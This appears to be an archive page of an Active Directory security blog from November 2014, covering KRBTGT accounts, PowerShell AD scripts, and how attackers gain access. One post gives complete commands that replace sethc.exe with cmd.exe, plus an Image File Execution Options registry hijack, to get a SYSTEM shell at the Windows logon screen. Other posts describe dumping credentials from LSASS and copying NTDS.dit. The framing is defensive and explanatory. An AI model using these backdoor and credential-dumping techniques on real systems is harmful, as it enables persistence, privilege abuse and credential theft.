Nov 10 2014

Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account

Every Domain Controller in an Active Directory domain runs a KDC (Kerberos Distribution Center) service which handles all Kerberos ticket requests. AD uses the KRBTGT account in the AD domain for Kerberos tickets. The KRBTGT account is one that has been lurking in your Active Directory environment since it was first stood up. Each Active Directory domain has an associated KRBTGT account that is used to encrypt and sign all Kerberos tickets for the domain. It is a domain account so that all writable Domain Controllers know the account password in order to decrypt Kerberos tickets for validation. Read Only Domain Controllers (RODCs) each have their own individual KRBTGT account used to encrypt/sign Kerberos tickets in their own sites. The RODC has a specific KRBTGT account (krbtgt_######) associated with the RODC through a backlink on the account. This ensures that there is cryptographic isolation between trusted Domain Controllers and untrusted RODCs.

The KRBTGT is shrouded in mystery and most AD admins will not mess with it or change its membership. It shouldn’t be a member of Domain Admins, Administrators, or any other groups other than “Domain Users” and “Denied RODC Password Replication Group”. Note that the “Denied RODC Password Replication Group” is a new group added when you run ADPrep before installing the domain’s first 2008/2008R2/2012 DC. This group supports Read-Only Domain Controllers (RODC) ensuring that certain accounts never have their passwords stored on a RODC.

KRBTGT-Info

The SID for the KRBTGT account is S-1-5-<domain>-502 and lives in the Users OU in the domain by default. Microsoft does not recommend moving this account to another OU.

From Microsoft TechNet:

The KRBTGT account is a local default account that acts as a service account for the Key Distribution Center (KDC) service. This account cannot be deleted, and the account name cannot be changed. The KRBTGT account cannot be enabled in Active Directory.

KRBTGT is also the security principal name used by the KDC for a Windows Server domain, as specified by RFC 4120. The KRBTGT account is the entity for the KRBTGT security principal, and it is created automatically when a new domain is created.

Windows Server Kerberos authentication is achieved by the use of a special Kerberos ticket-granting ticket (TGT) enciphered with a symmetric key. This key is derived from the password of the server or service to which access is requested. The TGT password of the KRBTGT account is known only by the Kerberos service. In order to request a session ticket, the TGT must be presented to the KDC. The TGT is issued to the Kerberos client from the KDC.

99.99% of the time*, the KRBTGT account’s password has not changed since the Active Directory domain was stood up.

Continue reading

Nov 09 2014

PowerShell Code: Check KRBTGT Domain Kerberos Account Last Password Change

From my GitHub Repo: Get-PSADForestKRBTGTInfo

 This function discovers all of the KRBTGT accounts in the forest using ADSI and returns the account info, specifically the last password change.

Currently, the script performs the following actions:
* Queries a Global Catalog in the Active Directory root domain for all KRBTGT accounts in the forest by querying the Global Catalog for SPN info.
* Provides information about all of the KRBTGT accounts in the forest, specifically the last password change.

REQUIRES: Active Directory user authentication. Standard user access is fine – admin access is not necessary.

 

Nov 08 2014

Mandiant MIRCon 2014 Presentation Slides

Using some Google-Fu, I was able to find some MIRCon 2014 presentation slides (sorry, no videos yet).
Mandiant MIRCon 2014 Presentation Slides:

Nov 08 2014

Hack Attack Method Whitepapers

The best way to develop the best defense is to study the offense’s methods.

Here are several recent reports that detail current modern network attacks:

Nov 07 2014

The Ultimate Movie Hacking Tool – Command Shell at Windows Logon Screen (via “StickyKeys”)

How many times have you seen a movie where the “hacker” connects to a system with a logon screen, hits a couple of keys, and gets a command shell. Here’s how this can be done for real in Windows.

The issue is that the Windows Ease of Use tools are accessible at the logon screen. Replacing the valid command(s) with a copy of cmd.exe provides a hidden command shell when pressing the right key combo (for example, pressing shift over and over again for “sticky keys”).

Here’s how to “hack the Windows logon screen” using an existing logged in privileged account.

Open a command prompt in Windows as an administrator and run the following commands:

cd\
cd windows\system32

icacls c:\windows\system32\sethc.exe /save c:\windows\system32\sethc.ACLFile /T
takeown /f sethc.exe
icacls sethc.exe /grant administrators:f

icacls c:\windows\system32\cmd.exe /save c:\windows\system32\cmd.ACLFile /T
takeown /f cmd.exe
icacls cmd.exe /grant administrators:f

copy c:\windows\system32\sethc.exe c:\windows\system32\sethcexe.BAK
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

Note that this can also be set via a registry enttry:

Open Regedit and browse to:  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Create a new key called “sethc.exe”
Under this new key, create a new string value (REG_SZ) and call it “Debugger”
Modify this value to be “C:\windows\system32\cmd.exe”

Note that the winlogon process will kill the cmd window invoked through this method after a short amount of time.

You can now open the command prompt by pressing the Shift key about 5 to 10 times at the logon screen to open command prompt as SYSTEM.

To restore the files and permissions, open a command window as administrator and run the following:

copy c:\windows\system32\sethcexe.BAK c:\windows\system32\sethc.exe

icacls c:\windows\system32\sethc.exe /restore c:\windows\system32\sethc.ACLFile /T

icacls c:\windows\system32\cmd.exe /restore c:\windows\system32\cmd.ACLFile /T

 

Nov 06 2014

How Attackers Extract Credentials (Hashes) From LSASS

I performed extensive research on how attackers dump credentials from LSASS and Active Directory, including pulling the Active Directory database (ntds.dit) remotely. This information is covered in two newer and greatly expanded posts:

 

Attackers can pull credentials from LSASS using a variety of techniques:

  1. Dump the LSASS process from memory to disk using Sysinternals ProcDump. Since ProcDump is a signed Microsoft utility, AV usually doesn’t trigger on it. ProcDump creates a minidump of the target process from which Mimikatz can extract credentials.
  2. The legitimate VMWare tool Vmss2core can be used to dump memory from a suspended VM (*.vmss) or saved VM (*.vmsn) file. The Volatility Framework can extract the hashes.

 

We all love grabbing credentials from Window machines that we have compromised, wether they are in clear-text or hashes. Sometimes, however, it is not possible to get those credentials immediately if at all. In this tutorial I want to briefly show two cases where you can dump memory to disk (exfiltrate it) and extract the credentials at a later time. I will demonstrate these test cases on a 32-bit Windows 7 VM that I use for testing purposes, these techniques should however apply to a wide variety of Windows builds.

Links:
ProcDump // Windows Sysinternals – here
Mimikatz // Blog de Gentil Kiwi – here
The Volatility Foundation // Homepage – here
Vmss2core // VMWare Labs – here
VMware Snapshot and Saved State Analysis // Volatility Labs – here

Read the details at FuzzySecurity.com

References:

Nov 06 2014

How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller

I performed extensive research on how attackers dump AD credentials, including pulling the Active Directory database (ntds.dit) remotely. This information is covered in two newer and greatly expanded posts:

 

The original post data follows:

How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller:

Step 1: Create Volume Shadow Copy (VSS):

I recently performed an internal penetration test where the NTDS.dit file got me thousands of password hashes. After compromising unpatched Microsoft Windows computers on the client’s domain, I gained access to a number of domain accounts. Below I’ll explain how I did it.

The client had two domain controllers, one Windows 2003 and one Windows 2008. One of the domain accounts obtained via other means (not described by this post) had rights to log-on locally on both domain controllers.

I attempted to dump the Active Directory database, but I couldn’t get the SAM file through my usual methods. Eventually, and after much effort, I got the SAM file but found it only contained one hash.

The following actions allowed me to obtain the Active Directory password hashes. This method will work on Windows 2003, Windows 2008 and Windows 2012 servers.

The NTDS.dit file is the Active Directory database. It stores all Active Directory information including password hashes.

I recreated the scenario, to demonstrate it on a Windows 2012 server.

Read the rest at the SpiderLabs Blog

OR use PowerShell:  “Using PowerShell to Copy NTDS.dit / Registry Hives, Bypass SACL’s / DACL’s / File Locks”:

Currently there are a few ways to dump Active Directory and local password hashes. Until recently, the techniques I had seen used to get the hashes either relied on injecting code in to LSASS or using the Volume Shadow Copy service to obtain copies of the files which contain the hashes. I have created a PowerShell script called Invoke-NinjaCopy that allows any file (including NTDS.dit) to be copied without starting suspicious services, injecting in to processes, or elevating to SYSTEM. But first, a little background.

A few months back I saw this awesome blog post: http://www.josho.org/blog/blog/2013/03/07/samex/. Rather than attempting to read files using the Win32 API (which enforces things such as read handle locks, SACL, DACL, etc.), the author wrote a tool that obtains a read handle to the C volume (something an administrator account can do). This gives him the ability to read the raw bytes of the entire volume. The tool then parses the NTFS structures on the C volume, determines where on the volume the bytes for a particular file reside, scans to the location and copies the files bytes. This allows the tool to get access to files even though LSASS has the file locked, and doesn’t require starting the Volume Shadow Copy service (which might look suspicious if it isn’t normally used).

I wanted something a little more generic (SAMex only dumps files related to password hashes on the C volume): a tool that allows me to copy any file on any volume. I want to be able to make copies of NTDS.dit and registry hives, but also any other file (such as a file protected by a SACL). I also want the tool to be written in PowerShell so it can be run remotely without writing hacker tools to disk.

Initially, I was going to write a parser in PowerShell, but then I realized there are already NTFS parsers written in C++ such as this one: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib. Rather than write an NTFS parser in PowerShell, it made a lot more sense to compile an existing NTFS parser as a DLL and load it up in Invoke-ReflectivePEInjection.

I was able to get the NTFS parser loaded up in PowerShell in several hours, which goes to show how easy and fast it is to turn existing native code applications in to sneaky PowerShell tools.

The result is Invoke-NinjaCopy. A PowerShell script capable of copying NTDS.dit, Registry hives, and any other file sitting on an NTFS volume by obtaining a read handle to the volume and parsing NTFS. This does not require elevating to SYSTEM, injecting in to SYSTEM processes, or starting new services/suspicious programs.

Read the rest at Joe Bialok’s Blog about Invoke-NinjaCopy that is part of PowerSploit

 

 

Nov 05 2014

Black Hat 2014 Presentation Video Play List

Attending Black Hat USA 2014 was a sobering and exciting experience.

Here’s a playlist of interesting presentations from Black Hat conferences in 2014:

 

 

 

Nov 04 2014

BackupExec Service Account Security FAIL

Yes. It actually says that if the BackupExec account is a member of Schema Admins, do not remove!
To be fair, it starts off with this Solution which covers the rights required:
From Symantec (http://www.symantec.com/business/support/index?page=content&id=TECH88242)

Continue reading

Nov 03 2014

PowerShell Code: ADSI Convert Domain Distinguished Name to Fully Qualified Domain Name

Convert Domain Distinguished Name to Fully Qualified Domain Name:
$ADObjectDN = “CN=Object1,OU=OrgUnit1,DC=child,DC=domain,DC=com”
[array]$ADObjectDNArray = $ADObjectDN -Split(“,DC=”)
        [int]$DomainNameFECount = 0
        ForEach ($ADObjectDNArrayItem in $ADObjectDNArray)
            {
                IF ($DomainNameFECount -gt 0)
                { [string]$ADObjectDNArrayItemDomainName += $ADObjectDNArrayItem + “.” }
                $DomainNameFECount++
            }
$ADObjectDNDomainName = $ADObjectDNArrayItemDomainName.Substring(0,$ADObjectDNArrayItemDomainName.Length-1)
Convert Domain Fully Qualified Domain Name to Distinguished Name:
$DomainFullyQualifiedDomainName = “child.domain.com”
$DomainFullyQualifiedDomainNameArray = $DomainFullyQualifiedDomainName -Split(“\.”)
[int]$DomainNameFECount = 0
ForEach ($DomainFullyQualifiedDomainNameArrayItem in $DomainFullyQualifiedDomainNameArray)
{ 
    IF ($DomainNameFECount -eq 0)
        { [string]$ADObjectDNArrayItemDomainName += “DC=” +$DomainFullyQualifiedDomainNameArrayItem }
    ELSE 
        { [string]$ADObjectDNArrayItemDomainName += “,DC=” +$DomainFullyQualifiedDomainNameArrayItem }
    $DomainNameFECount++
}
$ADObjectDNArrayItemDomainName
OR
$Domain=”Child1.Root.com”
$DomainDN = “DC=$($Domain.replace(“.”, “,DC=”))”
$DomainDN
(thanks Bill!)
Extract the Domain Distinguished Name From an Active Directory Distinguished Name:
$ADObjectDN = “CN=Object1,OU=OrgUnit1,DC=child,DC=domain,DC=com”
[array]$ADObjectDNArray = $ADObjectDN -Split(“,DC=”)
        [int]$DomainNameFECount = 0
        ForEach ($ADObjectDNArrayItem in $ADObjectDNArray)
            {
                IF ($DomainNameFECount -gt 0)
                { [string]$ADObjectDNArrayItemDomainName += $ADObjectDNArrayItem + “.” }
                $DomainNameFECount++
            }
$ADObjectDNDomainName = $ADObjectDNArrayItemDomainName.Substring(0,$ADObjectDNArrayItemDomainName.Length-1)

Load more